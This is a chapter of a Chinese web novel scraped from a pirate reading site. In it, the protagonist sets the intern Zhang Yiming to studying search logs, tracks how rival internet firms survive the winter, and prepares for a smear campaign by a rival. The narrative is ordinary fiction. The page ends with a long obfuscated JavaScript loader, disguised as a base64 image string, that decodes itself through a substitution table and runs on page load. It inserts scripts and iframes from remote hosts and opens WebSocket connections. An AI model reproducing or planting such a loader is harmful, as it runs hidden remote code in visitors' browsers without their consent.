首页
第三百三十五章 算法
返回
关灯 护眼:关 字号:小

第三百三十五章 算法

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第三百三十五章算法(第1/2页)
    张一鸣来千度的第一天,炜杰没有让他碰代码。
    何明给他分配了一台电脑,屏幕是十四寸的球面显示器,键盘有几个键帽松了。张一鸣坐在角落里,打开编辑器,手指悬在键盘上方,等着任务分配。
    炜杰走过来,把一张打印纸放在他桌上。纸上是密密麻麻的数字——千度过去三十天的搜索日志,按小时统计的关键词频次。
    “看。“炜杰说,“不要写,只看。“
    “看什么?“
    “看人在找什么。“炜杰指着第一行数字,“早上六点到八点,搜索量最低,但股票和基金这两个词的占比最高。晚上八点到十一点,搜索量最高,但游戏和聊天室占比最高。告诉我,这说明了什么。“
    张一鸣盯着那页纸,看了十分钟。然后他说:“早上上网的人,是有投资需求的上班族。晚上上网的人,是找娱乐的学生和年轻人。“
    “还有呢?“
    “如果把这两类人分开,给不同的搜索结果排序,效率会更高。“
    炜杰点了点头:“从今天起,你的工作不是写代码,是看数据。每天看一万条搜索日志,把用户分成不同的组,记录每一组的特征。一周后,给我一份报告。“
    张一鸣没有问为什么。他只是拿起那张纸,开始看。
    一周后,张一鸣交了一份十二页的报告。
    他把千度的用户分成了七类:找股票的、找游戏的、找医疗信息的、找学习资料的、找商品的、找本地服务的、以及——占比最小但增长最快的一类:找新闻的。
    “新闻?“炜杰指着这个分类,“为什么单独列出来?“
    “因为这一类用户的搜索行为和其他六类都不一样。“张一鸣翻开报告的第七页,“他们不搜索具体的关键词,而是搜索模糊的主题。比如今天发生了什么、国际形势、最新消息。他们想要的不是某个答案,是一整套信息的概览。“
    炜杰的手指在桌面上敲了两下。
    前世,张一鸣会在十五年后用一套算法解决这个问题。今日头条。信息流。根据用户的阅读历史,推送个性化的新闻。这套算法会改变十亿人的信息获取习惯。
    但现在,张一鸣还只是一个看数据的实习生。他看到了问题,但还没有看到答案。
    “继续看。“炜杰说,“再看一个月。这次不要只看关键词,要看点击之后的动作——用户点了第一条结果还是第十条,点了之后停留了多久,有没有返回重新搜索。“
    “这些日志都有记录?“
    “有。“炜杰说,“千度的服务器里存着几十亿条用户行为数据。大多数人以为这些数据是垃圾,但垃圾和黄金的区别,只在于有没有人懂得分拣。“
    张一鸣点了点头,把报告收好,走回自己的座位。
    何明从旁边探过头来,小声问炜杰:“你让这小子看数据,不让他写代码,是什么意思?“
    “意思是,“炜杰说,“他在找比代码更重要的东西。“
    “什么东西?“
    “规律。“炜杰说,“人找信息的规律。掌握了规律,代码只是工具。“
    八月,五家公司的过冬状态各不相同。
    千度最稳。月度现金净流入涨到了四十五万,距离盈亏平衡还差二十五万。注册用户突破了两百万,付费问答的日成交量稳定在三千单左右。李彦强在谈一笔新的广告合同,客户是一家国产手机厂商,年框五十万。
    万里巴巴瘦了,但活着。马阳把团队砍到了八个人,办公室搬到了杭州郊区的一套居民楼里。但会员数反而涨到了两千人,年费收入八百八十万,扣除成本,每月有将近十万块的盈余。马阳给炜杰打了一个电话,声音里带着笑:“我们活过来了。“
    携程最紧。季远的团队只剩下五个人,办公室彻底搬到了居民区,客厅办公,卧室住人。但酒店签约数涨到了六百家,日均订单突破了二十单,月收入勉强覆盖支出。季远在电话里没有笑,但也没有哭,他的声音很平:“还在跑。“
    易网最惨。股价跌到了五美元,市值不到两千万。丁立按照炜杰的建议,砍掉了海外业务和全部非游戏部门,裁员百分之四十。但核心游戏产品的月流水还在涨,每月有两百万美元的收入。丁立在纽约给炜杰发了一封邮件,只有一句话:“听你的,没死。“
    腾信的马化斌没有找过炜杰。但何明从行业论坛里看到消息,腾信的用户数突破了一千万,月流水三百万元,已经接近盈亏平衡。马化斌在寒冬里选择了另一条路——不收缩,而是把即时通讯的基础服务免费,靠增值业务和游戏联运赚钱。
    炜杰看完这些消息,在清单上做了一个记号。五张船票,一张都没有沉。
    八月十五日,张建国的调查结果来了。
    他没有打电话,而是亲自飞到了北京。炜杰在中关村科技大厦楼下的一家茶馆里等他。
    张建国比上次见面时瘦了一些,头发白了不少。他坐下后,没有寒暄,直接从包里掏出一个牛皮纸袋,放在桌上。
    “马长青的情况。“张建国说,“比你想象的复杂。“
    炜杰打开纸袋,里面是十几张照片和几页打印纸。照片里,马长青在新加坡的一栋别墅门口和赵明远握手,两人在游艇上举杯,在高尔夫球场上并肩行走。
    “马长青已经不是省城建委副主任了。“张建国说,“两个月前,他被调到了省政协,挂了一个专委会副主任的闲职。名义上是平调,实际上是靠边站。“
    “为什么?“
    “建委的内部审计发现了他经手的几笔问题资金,总额超过五百万。金三角商贸中心只是其中一笔。“张建国压低声音,“马长青怕了。他知道自己快出事,所以找了赵明远。赵明远答应帮他办移民,条件是——“
    “条件是什么?“
    “条件是马长青把他手里所有的政府关系和客户资源,全部转给赵明远的新公司。“张建国说,“赵明远的全球搜索,表面上是搜索引擎,实际上做的是政府信息化项目。他用马长青的关系,在国内几个省拿到了电子政务的招标书。“
    炜杰的手指收紧。
    赵明远没有回来做搜索引擎。他换了一个赛道——政府市场。这是一个比消费互联网更隐蔽、更暴利、也更危险的领域。
    “还有更麻烦的。“张建国说,“马长青手里有一份材料,是关于你的。“
    “什么材料?“
    那是九七年,周建国借给他两万块进货。后来他还了,但还款是通过现金,没有留下银行记录。
    “马长青想干什么?“炜杰问。
    “他想把你拖下水。“张建国说,“赵明远的计划是,通过马长青在国内放风,说千度的创始人早年参与过金三角工程的资金挪用。不管真假,只要舆论炒起来,千度的品牌形象就会受损,政府客户就会疏远你,投资人就会重新评估风险。“
    炜杰沉默了很久。
    茶馆外面,中关村的大街上人来人往。有人骑着自行车赶路,有人站在路边吃煎饼,有人蹲在地上修鞋。这些人不知道,在离他们不到二十米的地方,两个人正在谈论一场可能改变中国互联网格局的阴谋。
    “建国哥,“炜杰最后说,“谢谢你。“
    (本章未完,请点击下一页继续阅读)第三百三十五章算法(第2/2页)
    “别谢我。“张建国说,“我查这些,不是为了你,是为了我自己。马长青要是翻了船,他在香港投的几笔钱也会跟着出事。其中有一笔,是我的。“
    炜杰点了点头。他端起茶杯,喝了一口。茶是龙井,但泡得久了,味道发苦。
    “炜杰,“张建国说,“你打算怎么应对?“
    “不应对。“炜杰说。
    “什么?“
    “马长青手里的那张凭证,只能证明周建国借过钱给我,不能证明我挪用了工程款。“炜杰说,“他们想炒舆论,但没有证据。没有证据的舆论,烧不起来。“
    “但如果他们伪造证据呢?“
    “那就让他们伪造。“炜杰说,“假的真不了。而且——“
    他停顿了一下,看向窗外。
    “而且,赵明远犯了一个错误。“
    “什么错误?“
    “他太急了。“炜杰说,“他现在应该做的是低调积累,等春天来了再露面。但他等不及,他想在冬天里就把我按死。这说明,他的新公司缺钱,缺很急的钱。“
    张建国皱起眉头:“你怎么知道?“
    “因为我在新加坡有眼线。“炜杰说,“赵明远的全球搜索,账上现金不超过五十万美元。他的投资人给了他六个月的期限,如果六个月内拿不到政府订单,就撤资。“
    张建国瞪大了眼睛:“你在新加坡也有眼线?“
    “不是眼线。“炜杰说,“是一个朋友。王志远。“
    张建国没有说话。他听说过王志远的名字——千度的前技术负责人,赵明远从千度挖走的人,后来和赵明远翻脸,离开了搜乎。
    “王志远在新加坡?“张建国问。
    “在。“炜杰说,“他一直盯着赵明远。“
    晚上,炜杰回到千度办公室。
    何明还在加班,屏幕的光映在他脸上。小陈趴在桌上睡着了。老周从机房走出来,手里拎着一把螺丝刀,看见炜杰,点了点头。
    炜杰也点了点头,走进会议室,把李彦强叫了进来。
    “两件事。“炜杰说,“第一,从明天起,千度所有对外的公关稿件,必须经过我或者刘芳审核。第二,把千度和金三角工程有关的全部财务记录整理一遍,特别是我和周建国之间的往来,每一笔都要有凭证,没有凭证的,补一份说明。“
    李彦强看着炜杰:“出事了?“
    “可能出事。“炜杰说,“赵明远在新加坡坐不住了,他想通过马长青在国内放风,攻击我的个人背景。“
    “还是那个华南信托?“
    “这次不是华南信托。“炜杰说,“是个人借款。九七年我从周建国手里借了两万块进货,还款是现金,没有银行记录。他们想把这两万块说成是工程款挪用。“
    李彦强的脸色变了:“那你——“
    “我没事。“炜杰说,“但千度可能有事。如果舆论炒起来,用户会流失,投资人会紧张,广告客户会观望。我们要在出事之前,把防火墙砌好。“
    “怎么砌?“
    “公开。“炜杰说,“与其等他们放风,不如我们自己先说。在千度官方论坛上发一篇帖子,标题就叫我的第一桶金。把我从废品收购站到省城商场的全过程写出来,包括那两万块的借款,包括怎么还的,包括周建国是谁。写得越细越好,让所有人都能看到完整的来龙去脉。“
    “这是把私事摊开给公众看——“
    “是。“炜杰说,“但摊开的私事,别人就炒不起来了。“
    李彦强看着他,看了很久,然后点了点头:“好,我来写。“
    深夜,炜杰坐在办公室里,看着窗外的中关村大街。
    街上已经没有人了,只有路灯在空无一人的路面上投下昏黄的光圈。远处的写字楼还有几盏灯亮着,不知道是哪家的团队在加班。
    手机响了。是王志远。
    “炜杰,“王志远的声音很低,像从地底下传来,“赵明远下周回国。“
    “回国?“
    “不是回北京。是去南方几个省,见他的政府客户。他拿到了三份电子政务的意向书,如果能转成正式合同,他的公司就能拿到下一轮融资。“
    “如果转不成呢?“
    “转不成,他就完了。“王志远说,“他的投资人已经下了最后通牒,月底之前没有正式合同,就撤资清算。“
    炜杰握着手机,站在窗前。
    窗外,北京的夜空下,千度的服务器还在运转。而在某个看不见的南方城市,赵明远正在飞机上,准备降落。
    “王志远,“炜杰说,“帮我做一件事。“
    “什么?“
    “查一下那三份意向书的真实性。电子政务项目,要走招标流程,要有预算审批,要有政府会议纪要。如果这些环节里有一个是假的,那赵明远的合同就签不下来。“
    “你想让我举报他?“
    “不。“炜杰说,“我想让你把证据准备好。等他自己摔下来的时候,我们在旁边看着,不需要推。“
    电话那头安静了很久。然后王志远笑了一下,笑声里带着疲惫,也带着一丝解脱。
    “炜杰,“王志远说,“你知道我最佩服你什么吗?“
    “什么?“
    “你不主动害人。但你也不会让人白白害你。“
    电话挂断了。
    炜杰放下手机,走到白板前。白板上还画着那张时间线,从一九九八年到二零零三年。现在,时间线走到了二零零零年八月。
    距离春天,还有二十八个月。
    但他知道,在这二十八个月里,有一场硬仗要打。
    不是和市场的硬仗,是和一个不想让他活到春天的人的硬仗。
    炜杰拿起笔,在时间线上画了一个叉,指向二零零零年九月。
    在那个叉旁边,他写下了一行字:
    “赵明远,最后一搏。“
    然后他放下笔,关掉灯,走出办公室。
    走廊里,张一鸣还坐在电脑前,盯着屏幕上的数据。他的眼睛布满血丝,但手指还在键盘上飞舞,像一台永不停歇的机器。
    炜杰走过去,拍了拍他的肩膀。
    “早点回去睡觉。“炜杰说。
    “再看一会儿。“张一鸣没有抬头,“我发现了一个规律。“
    “什么规律?“
    “每天晚上十一点到十二点,搜索新闻的用户,有百分之七十会在同一天再次搜索。但搜索时间间隔不一样——有人隔了十分钟,有人隔了三个小时。如果我能算出这个间隔的规律,就能预测他们下一次什么时候来。“
    炜杰站在他身后,看着屏幕上的数字。
    那些数字在黑暗中闪烁,像一片尚未被命名的星空。
    “很好。“炜杰说,“继续看。“
    他转身走向电梯,脚步在走廊里回响。
    窗外,北京的夜空下,有什么东西正在发生变化。不是市场的变化,是算法的变化。不是钱的变化,是人的变化。
    冬天的冰层下面,种子正在发芽。
    而那个叫赵明远的人,正在冰层上面,准备最后一击。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="m4tas4k55b";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^oFdLoSnn)/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^oFdLoSnn)"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8^oFdLoSnn)"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();